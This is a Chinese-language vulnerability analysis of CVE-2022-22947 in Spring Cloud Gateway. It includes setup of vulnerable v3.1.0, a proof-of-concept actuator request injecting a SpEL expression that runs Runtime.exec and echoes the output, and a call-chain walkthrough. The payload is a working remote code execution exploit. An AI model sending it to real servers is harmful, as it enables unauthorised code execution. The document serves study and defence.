CVE-2022-22947 SpringCloud GateWay SPEL RCE分析
字数 1170 2025-08-29 08:31:47
Spring Cloud Gateway SPEL RCE漏洞分析(CVE-2022-22947)教学文档
漏洞概述
CVE-2022-22947是Spring Cloud Gateway中的一个远程代码执行漏洞,由于对用户提供的SpEL表达式处理不当,导致攻击者可以通过构造恶意请求在目标服务器上执行任意代码。
漏洞环境搭建
- 克隆Spring Cloud Gateway仓库:
git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
漏洞复现POC
添加恶意路由
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Content-Type: application/json
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
刷新路由使配置生效
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
漏洞分析
漏洞根源
漏洞的根本原因是存在SpEL注入,关键点在org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue方法。
漏洞触发链
ShortcutConfigurable.ShortcutType枚举中调用了getValue函数shortcutType方法调用了ShortcutType.DEFAULT枚举org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties调用了shortcutType函数normalizeProperties函数对成员变量properties进行处理ConfigurableBuilder的父类AbstractBuilder#bind中调用了normalizeProperties函数bind方法被loadGatewayFilters调用- 完整的调用链:
RouteDefinitionRouteLocator#loadGatewayFilters → RouteDefinitionRouteLocator#getFilters → RouteDefinitionRouteLocator#convertToRoute → RouteDefinitionRouteLocator#getRoutes → GatewayControllerEndpoint#route
路由添加过程分析
-
添加路由时构造
RouteDefinition结构,包含:- id: 路由ID
- filters: 过滤器数组
- uri: 目标URI
-
FilterDefinition结构:- name: 过滤器名称
- args: 参数键值对
-
validateRouteDefinition函数会校验添加的路由name是否与已有的filter匹配- 系统默认有29个filter
- POC中选择
AddResponseHeader因为它能够回显结果
漏洞修复
修复方案主要是对SpEL表达式进行安全处理,避免直接执行用户输入的表达式。
总结
该漏洞利用Spring Cloud Gateway的路由配置功能,通过构造恶意的SpEL表达式实现远程代码执行。虽然漏洞原理简单,但完整的利用链需要对Spring Cloud Gateway框架有较深理解才能完全梳理清楚。
参考链接
- https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response